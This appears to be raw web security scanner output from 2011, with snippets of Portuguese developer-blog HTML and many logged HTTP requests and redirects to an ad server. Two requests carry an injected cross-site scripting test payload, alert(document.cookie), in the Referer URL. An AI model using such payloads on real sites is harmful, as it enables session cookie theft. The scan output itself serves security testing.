<p>Sugiro fortemente que voc.. tamb..m leia o excelente <a href="http://www.bernardofontes.net/blog/porque-voce-deve-ir-ao-dev-in-rio-2010/">post do Bernando Fontes sobre o Devinrio</a> ...[SNIP]... <p>Aproveitando o <a href="http://twitter.com/#search?q=%40smergulhao">imenso sucesso</a> ...[SNIP]... </a> em parceria com <a href="http://www.egenialsas.com.br/">e-Genial</a> ...[SNIP]... <p>Link direto: <a href="https://spreadsheets.google.com/viewform?formkey=dGtKY0hyMjhqUEgxNnpHempISzlsbEE6MQ">https://spreadsheets.google.com/viewform?formkey=dGtKY0hyMjhqUEgxNnpHempISzlsbEE6MQ</a></p>
<iframe src="https://spreadsheets.google.com/embeddedform?formkey=dGtKY0hyMjhqUEgxNnpHempISzlsbEE6MQ" width="530" height="1100" frameborder="0" marginheight="0" marginwidth="0">Carregando…</iframe> ...[SNIP]... <p>Hoje eu e o Carlos Eduardo da <a href="http://www.egenialsas.com.br/">e-Genial</a> fechamos os ..ltimos detalhes de um novo curso: <a href="http://www.egenial.com.br/imersaosysdeploy">Imers..o Sys Deploy</a> ...[SNIP]... <p>E ainda tem mais! Cada aluno do curso ter.. acesso a um VPS exclusivo onde ele executar.. as tarefas junto comigo. As aulas ser..o aos s..bados pela manh.. pelo <a href="http://www.egenialsas.com.br/site/treinatom">TreinaTom</a> ...[SNIP]... <p>Para saber mais detalhes acesse j.. o <a href="http://www.egenial.com.br/imersaosysdeploy">site do curso</a> e fa..a a sua <a href="http://www.egenial.com.br/imersaosysdeploy/matricula">inscri....o</a> ...[SNIP]... <p>H.. pouco mais de um ano atr..s eu fiz uma palestra no <a href="http://encontrodeti.com.br/">Encontro de TI</a> ...[SNIP]... <p>E o que voc.. pode fazer para ajudar? Se voc.. tem uma empresa ou .. um profissional liberal e precisa de um CRM, acesse o <a href="http://clientella.com.br/beta">nosso site</a>, leia a carta convite e <a href="http://clientella.com.br">preencha o formul..rio</a> ...[SNIP]... <p>Foto de <a href="http://www.flickr.com/photos/magnetbox/">magnetbox</a>(<a href="http://creativecommons.org/licenses/by/2.0/deed.en">cc</a> ...[SNIP]... <p>Foto de <a href="http://www.flickr.com/photos/monkeyc/">monkeyc.net</a>(<a href="http://creativecommons.org/licenses/by/2.0/deed.en">cc</a> ...[SNIP]... <p>A primeira apresenta....o .. amanh.. na Simonsen. .. o <a href="http://www.simonsen.br/ets/">1o. Encontro de Tecnologia Simonsen</a> que come..a hoje e termina amanh... A <a href="http://www.simonsen.br/ets/programacao.php">grade completa</a> est.. dispon..vel no site do evento. Entre os palestrantes est..o pessoas j.. conhecidas da comunidade de desenvolvimento do Rio como Bruno Dulcetti(<a href="http://videolog.uol.com.br/">Videolog</a>), Victor Batista(<a href="http://www.clavis.com.br">Clavis</a>) e Gustavo Guanabara(<a href="http://www.guanabara.info/">Guanabara.info</a> ...[SNIP]... <p>A segunda apresenta....o seria no Gamacomp, dia 5 de dezembro. Eu acessei o <a href="http://www.gamacomp.visual.pro.br/">site do Gamacomp</a> ...[SNIP]... <p>Foto de <a href="http://www.flickr.com/photos/sirmightymac">MightyMac <3</a>(<a href="http://creativecommons.org/licenses/by/2.0/deed.en">cc</a> ...[SNIP]... <p>No pr..ximo fim de semana, dias 7 e 8 de novembro, teremos a <a href="http://ultramaratonahowto.com.br">II Ultra Maratona How To</a> ...[SNIP]... <p>Eu iria apresentar o how to <a href="http://www.ultramaratonahowto.com.br/tutoriais/Ultra_Maratona_SL_Rails.pdf">Rails: Otimizando Client-side e Server-side</a>, mas devido a problemas pessoais n..o poderei. No meu lugar quem ir.. apresentar .. o igualmente competente <a href="http://vp.blog.br/">Vitor Pellegrino</a> ...[SNIP]... <p>A maratona ocorre na <a href="http://maps.google.com/maps?f=q&source=s_q&hl=en&geocode=&q=Rua+Martins+Ferreira,+71,+no+bairro+de+Botafogo,+Rio+de+Janeiro&sll=-22.954088,-43.194975&sspn=0.009958,0.019634&g=Rua+Martins+Ferreira,+71,+no+bairro+de+Botafogo,+Rio+de+Janeiro&ie=UTF8&hq=&hnear=R.+Martins+Ferreira,+71+-+Botafogo,+Rio+de+Janeiro+-+RJ,+22271-010,+Brazil&ll=-22.954088,-43.194975&spn=0.004979,0.009817&t=h&z=17">Rua Martins Ferreira, 71, no bairro de Botafogo, na zona sul do Rio de Janeiro</a>. As inscri....es devem ser feitas <a href="http://www.ultramaratonahowto.com.br/inscricoes.php">no site do evento</a> ...[SNIP]... <p>O evento .. uma grande iniciativa do pessoal da <a href="http://www.clavis.com.br/">Clavis Seguran..a da Informa....o</a>, <a href="http://www.tecnohall.com.br/">Tecnohall Solu....es em Tecnologia</a> e <a href="http://www.greenhat.com.br/">Green Hat Seguran..a da Informa....o</a> ...[SNIP]... <p> Design by: <a href="http://www.styleshout.com/">styleshout</a> | Valid <a href="http://validator.w3.org/check/referer">XHTML</a> | <a href="http://jigsaw.w3.org/css-validator/check/referer">CSS</a> ...[SNIP]... </a> <a href="http://pt.wikipedia.org/wiki/Rio_de_Janeiro_%28cidade%29" >Rio de Janeiro</a> <a href="http://mephistoblog.com/"><img src="/images/mephisto.png" alt="Powered by Mephisto"/> ...[SNIP]... </div> <script src="http://imasters.uol.com.br/crossbrowser/fonte.js" type="text/javascript"></script> <script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> ...[SNIP]...
GET /blog/?utm_source=horaextra.org&utm_medium=affiliate&utm_content=textlink&utm_campaign=horaextra HTTP/1.1 Host: metronus.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:09:42 GMT Server: Apache X-Pingback: http://metronus.com/blog/xmlrpc.php Link: <http://wp.me/xFl5>; rel=shortlink Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 76756
</head> ...[SNIP]... </a>, e ele me recomendou ( meio ..bvio), o livro do Kent Beck , criador do TDD, ..<a href="http://www.amazon.com/Test-Driven-Development-Kent-Beck/dp/0321146530/ref=sr_1_1?ie=UTF8&qid=1292588088&sr=8-1">TEST-DRIVEN DEVELOPMENT</a> . Al..m desse, Nunes tamb..m me recomendou alguns artigos e outros livros como o <a href="http://www.amazon.com/Growing-Object-Oriented-Software-Guided-Tests/dp/0321503627/ref=sr_1_1?ie=UTF8&s=books&qid=1292588280&sr=8-1">Growing Object-Oriented Software, Guide by Test</a> ...[SNIP]... <p>No livro <a href="http://www.amazon.com/Software-Development-Principles-Patterns-Practices/dp/0135974445/ref=sr_1_3?s=books&ie=UTF8&qid=1292594363&sr=1-3">Agile Software Development</a> ...[SNIP]... <strong>Esse parte do processamento ass..ncrono foi desenvolvido por outras pessoas que j.. estavam na equipe antes de mim. S..o elas <a href="http://codificando.com/">Emerson Macedo</a>, Rodrigo Lopes e <a href="http://eltonokada.wordpress.com/">Elton Okada</a> ...[SNIP]... <p><a href="http://blog.mar.ti.ns">Alexandre Nunes</a> ...[SNIP]... <strong><a href="http://coisascomuns.com.br/">Rafael Martins</a> ...[SNIP]... <p>Sugiro, experimente, erre, mude. Siga evoluindo. Um colega de trabalho, <a href="http://blog.heynemann.com.br/">Bernardo Heynemann</a> ...[SNIP]... <p>Adotei com uma das minhas metas estudar mais sobre engenharia de software e zerar alguns d..bitos. Nessa cruzada, com ajuda de amigos como <a href="http://blog.m.artins.net/">Alexandre Martins</a> ...[SNIP]... <p>Conversando com o pessoal que conhe..o, admiro e trabalho junto, tentei ..atrav..s de suas experi..ncias delinear um caminho seguir. <a href="http://blog.m.artins.net/">Alexandre Martins</a> ...[SNIP]... <p><a href="http://blog.m.artins.net/">Alexandre Martins</a> ...[SNIP]... <p>O Paulo da Caelum, recentemente, um excelente artigo que foi publicado no blog da Celum em 2006 por ele muito bom que mostra um pouco do que estou querendo dizer. ..Para ler <a href="http://blog.caelum.com.br/2006/09/14/nao-aprender-oo-getters-e-setters/">clique aqui</a> ...[SNIP]... <strong style="display:block;margin:12px 0 4px"><a href="http://www.slideshare.net/aoqfonseca/fisl-aumentando-lucropython" title="Fisl aumentando lucro-python">Fisl aumentando lucro-python</a> ...[SNIP]... <param name="allowScriptAccess" value="always"/><embed name="__sse5771845" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=fisl-aumentandolucropython-101113175832-phpapp01&stripped_title=fisl-aumentando-lucropython&userName=aoqfonseca" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object> <div style="padding:5px 0 12px">View more <a href="http://www.slideshare.net/">presentations</a> from <a href="http://www.slideshare.net/aoqfonseca">aoqfonseca</a> ...[SNIP]... <p><img class="alignleft" style="margin: 5px;" src="http://www.influx.com.br/imgblog/image/workaholic11.jpg" alt="Workaholic" width="200" height="176" />Cena cl..ssica: ..O expediente j.. terminado e ainda um grupo de pessoas permanecem no pr..dio trabalhando. As horas v..o avan..ando, e aos poucos o edif..cio vai ficando escuro, somente restante aquel ...[SNIP]... <p><img class="alignleft" style="margin-top: 8px; margin-bottom: 8px; margin-left: 10px; margin-right: 10px;" title="Crian..as precisam de disciplina" src="http://www.fci.org/files/professionals/mrpd/discipline.jpg" alt="" width="212" height="145" />A muito tempo atr..s quando minha esposa estava gr..vida de minha primeira filha, eu estava ansioso e muito preocupado quanto a como eu deveria educ..-la. Procurei livros, procurei conversar com pessoa ...[SNIP]... <p><img class="alignright" style="margin: 8px;" src="http://farm5.static.flickr.com/4025/4624682025_c8a0c0523b.jpg" alt="limites" width="300" height="188" />A quest..o que o limite em muitos casos pode ser algo interessante e at.. positivo. ..Quando n..o temos limite, n..o temos tamb..m parametros. ..Tudo .. poss..vel. As possibilidades s..o infinitas. Com ...[SNIP]... <div class="textwidget"><a href="http://www.devinrio.com.br"><img src="http://www.devinrio.com.br/images/devinrio2010_euvou_125x125.gif" alt="Dev in Rio 2010"/></a> ...[SNIP]... <li><a href="http://blog.m.artins.net" rel="friend met co-worker" title="Blog do Alexandre Martins da ThrougWorks" target="_blank">Blog Alexandre Martins</a> ...[SNIP]... <li><a href="http://akitaonrails.com/" rel="acquaintance met" title="Site sobre rails, tecnologia e etc" target="_blank">Blog do F..bio Akita</a> ...[SNIP]... <li><a href="http://gc.blog.br" rel="friend met" target="_blank">Blog do Guilherme Chapiewski</a> ...[SNIP]... <li><a href="http://henriquebastos.net/" rel="friend met" title="Excelente blog sobre tecnologia e agil" target="_blank">Blog do Henrique</a> ...[SNIP]... <li><a href="http://www.leobalter.net/" rel="friend met" title="blog sobre pensamentos, .NET, desenvolvimento, etc" target="_blank">Blog do Leonardo Balter</a> ...[SNIP]... <li><a href="http://blog.caelum.com.br" title="Site da Empresa caelum. Muito coisas sobre desenvolvimento, etc">Caelum</a></li> <li><a href="http://www.densileite.com" title="Site sobre automa....o, controle, instrumenta....o.. Muito bom">Denis Leite</a> ...[SNIP]... <li><a href="http://codex.wordpress.org/">Documentation</a> ...[SNIP]... <li><a href="http://blog.eof.com.br" rel="friend met colleague" title="Site sobre desenvolvimento, scrum e experiencias de um coordenador da Globo.com" target="_blank">Evandro Flores (globo.com)</a> ...[SNIP]... <li><a href="http://blogblogs.com.br/"><img src="http://assets2.blogblogs.com.br/images/promo/blogblogs_125x125_green.gif" alt="http://blogblogs.com.br/" /> http://blogblogs.com.br/</a> ...[SNIP]... <li><a href="http://notanotherindustrialblog.blogspot.com">Not Another Industrial Blog</a> ...[SNIP]... <li><a href="http://pythonrio.org" title="site do grupo de usu..rios de python do rio de janeiro">Python Rio</a> ...[SNIP]... <li><a href="http://planet.wordpress.org/">WordPress Planet</a> ...[SNIP]... <li><a href="http://wordpress.org" title="WordPress Engine">WordPress</a> ...[SNIP]... <span class="vcard"> <a class="url fn" rel="follow designer" title="Simplish Style" href="http://simplish.pomfolio.com">Simplish</a> ...[SNIP]... <!--stats_footer_test--><script src="http://stats.wordpress.com/e-201103.js" type="text/javascript"></script> ...[SNIP]...
GET /news/story?q=washington,+dc+law&um=1&ie=UTF-8&ncl=damymVNz8pg22yM3LRDx7X5pE2OxM&hl=en&ei=WP42TYixLcOclgf_yNGIAw&sa=X&oi=news_result&ct=more-results&resnum=4&ved=0CCwQqgIwAw HTTP/1.1 Host: news.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; NID=42=TKkfn6Tg7OKIy4aZoe4v6m5-9eWtGaicWAxOp0ReoP7haXOs4wVSbY3dIWgiz04r_L-gfyIMSiYfCfw16ffNlM8YVHvy9fcgoDr9uWOPODsh-QzrVXD7T9MKFCea-X0V;
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Date: Wed, 19 Jan 2011 15:25:14 GMT Expires: Wed, 19 Jan 2011 15:25:14 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Connection: close
GET /RealMedia/ads/adstream_mjx.ads/vault.com/login/forgot/1919391660@Top,Middle,Bottom,Middle1,Middle2,x01?NI_feature=login&NI_page=forgot HTTP/1.1 Host: oasc10006.247realmedia.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/!ut/p/c5/dY09D4IwGIR_0r3lhTaMfiEgIKaDtgspiSEoUgdj4r8X4uLC3XjP3cFi8ujefedevR_dgAusbKSIK63SgPY6ZMpKwQnXh2DHCjlsN_h2Jtc4z_U__HjiLWWkq5JlVHAhfjktaEWoUv-4wsCoxdNcThthltRxpMKpFUDDbPC8t3RTH_oCnk3SHg!!/?mode=&redirecturl=%2fwps%2fmyportal%2fusa%2frankingsf6c40'%3balert(document.cookie)%2f%2fdba4d06d54c%2findividual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW8003BLsABpSl; NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:01:24 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 2408 Content-Type: application/x-javascript Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5245525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Bottom') { document.write ('<A HREF="http://oasc10006.247realmedia.com/RealMedia/ads/click_lx.ads/vault.com/login/forgot/900674834/Bottom/default/empty.g ...[SNIP]... 82/Middle/Vault20/Verizon_V_CampusTour_102710/Verizon_V_CampusTour_102710_300x250M.html/7263485738303033424c73414270536c?http://ad.doubleclick.net/jump/N4789.Vault/B4885532;sz=300x250;ord=2049447682?"><IMG SRC="http://ad.doubleclick.net/ad/N4789.Vault/B4885532;sz=300x250;ord=2049447682?" BORDER=0 WIDTH=300 HEIGHT=250 ALT="Click Here"></A> ...[SNIP]...
GET /RealMedia/ads/adstream_mjx.ads/vault.com/login/forgot/1919391660@Top,Middle,Bottom,Middle1,Middle2,x01?NI_feature=login&NI_page=forgot HTTP/1.1 Host: oasc10006.247realmedia.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/!ut/p/c5/dY09D4IwGIR_0r3lhTaMfiEgIKaDtgspiSEoUgdj4r8X4uLC3XjP3cFi8ujefedevR_dgAusbKSIK63SgPY6ZMpKwQnXh2DHCjlsN_h2Jtc4z_U__HjiLWWkq5JlVHAhfjktaEWoUv-4wsCoxdNcThthltRxpMKpFUDDbPC8t3RTH_oCnk3SHg!!/?mode=&redirecturl=%2fwps%2fmyportal%2fusa%2frankingsf6c40'%3balert(document.cookie)%2f%2fdba4d06d54c%2findividual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW8003BLsABpSl; NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:36:11 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 2405 Content-Type: application/x-javascript
function OAS_RICH(position) { if (position == 'Bottom') { document.write ('<A HREF="http://oasc10006.247realmedia.com/RealMedia/ads/click_lx.ads/vault.com/login/forgot/1384392152/Bottom/default/empty. ...[SNIP]... 728/Middle/Vault20/Verizon_V_CampusTour_102710/Verizon_V_CampusTour_102710_300x250M.html/7263485738303033424c73414270536c?http://ad.doubleclick.net/jump/N4789.Vault/B4885532;sz=300x250;ord=998343728?"><IMG SRC="http://ad.doubleclick.net/ad/N4789.Vault/B4885532;sz=300x250;ord=998343728?" BORDER=0 WIDTH=300 HEIGHT=250 ALT="Click Here"></A> ...[SNIP]...
The response contains the following link to another domain:
http://www.us.capgemini.com/careers/
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/L-15/1028530683/Middle/Vault20/Capgemini_V_SuccessEquation_090710/Capgemini_300x250_ad_5sec.gif/7263485738303033424c73414270536c;zip=US:20026?x HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:10:30 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.us.capgemini.com/careers/ Content-Length: 312 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5145525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.us.capgemini.com/careers/">here</a>. ...[SNIP]...
The response contains the following link to another domain:
http://www.mofomojo.com/
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/L-15/1298248331/Top/Vault20/MorrisonFo_V_Various_090910/08_09_Vault_LEADER_728x90.gif/7263485738303033424c73414270536c;zip=US:20026?x HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:10:17 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.mofomojo.com/ Content-Length: 300 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5045525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.mofomojo.com/">here</a>.</p> <hr> <a ...[SNIP]...
The response contains the following link to another domain:
http://www.us.capgemini.com/careers/
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/L-15/1434550647/Middle/Vault20/Capgemini_V_SuccessEquation_090710/Capgemini_300x250_ad_5sec.gif/7263485738303033424c73414270536c;zip=US:20026?x HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:10:22 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.us.capgemini.com/careers/ Content-Length: 312 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5145525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.us.capgemini.com/careers/">here</a>. ...[SNIP]...
The response contains the following link to another domain:
http://www.orrick.com/careers/students/index.asp
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/L-15/1539380947/Bottom/Vault20/Orrick_V_GrowWithO_082010/16018_vault_728x90_v3.gif/7263485738303033424c73414270536c;zip=US:20026?x HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:10:01 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.orrick.com/careers/students/index.asp Content-Length: 324 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e2f45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.orrick.com/careers/students/index.asp">here</a> ...[SNIP]...
The response contains the following link to another domain:
http://www.us.capgemini.com/careers/
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/L-15/2130056760/Middle/Vault20/Capgemini_V_SuccessEquation_090710/Capgemini_300x250_ad_5sec.gif/7263485738303033424c73414270536c;zip=US:20026?x HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:10:05 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.us.capgemini.com/careers/ Content-Length: 312 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5145525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.us.capgemini.com/careers/">here</a>. ...[SNIP]...
The response contains the following link to another domain:
http://www.orrick.com/careers/students/index.asp
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/L-15/363266666/Bottom/Vault20/Orrick_V_GrowWithO_082010/16018_vault_728x90_v3.gif/7263485738303033424c73414270536c;zip=US:20026?x HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:10:19 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.orrick.com/careers/students/index.asp Content-Length: 324 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e2e45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.orrick.com/careers/students/index.asp">here</a> ...[SNIP]...
The response contains the following link to another domain:
http://www.mofomojo.com/
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/L-15/849894637/Top/Vault20/MorrisonFo_V_Various_090910/08_09_Vault_LEADER_728x90.gif/7263485738303033424c73414270536c;zip=US:20026?x HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:10:35 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.mofomojo.com/ Content-Length: 300 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e2e45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.mofomojo.com/">here</a>.</p> <hr> <a ...[SNIP]...
The response contains the following link to another domain:
http://www.mofomojo.com/
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/L-15/917548902/Top/Vault20/MorrisonFo_V_Various_090910/08_09_Vault_LEADER_728x90.gif/7263485738303033424c73414270536c;zip=US:20026?x HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:10:25 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.mofomojo.com/ Content-Length: 300 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5145525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.mofomojo.com/">here</a>.</p> <hr> <a ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/vault.com/login/forgot/L9/998343728/Middle/Vault20/Verizon_V_CampusTour_102710/Verizon_V_CampusTour_102710_300x250M.html/7263485738303033424c73414270536c?http://ad.doubleclick.net/jump/N4789.Vault/B4885532;sz=300x250;ord=998343728? HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:11:35 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://ad.doubleclick.net/jump/N4789.Vault/B4885532;sz=300x250;ord=998343728? Content-Length: 353 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5345525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://ad.doubleclick.net/jump/N4789.Vault/B4885532;sz=300x250;ord=998343728?">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/vault.com/rankings/0/363/2/L9/1145927286/Bottom/Vault20/MayerBrown_V_Thrive_090910/Mayer-Brown-Banner_lmnv4.gif/7263485738303033424c73414270536c;zip=US:20026?x HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
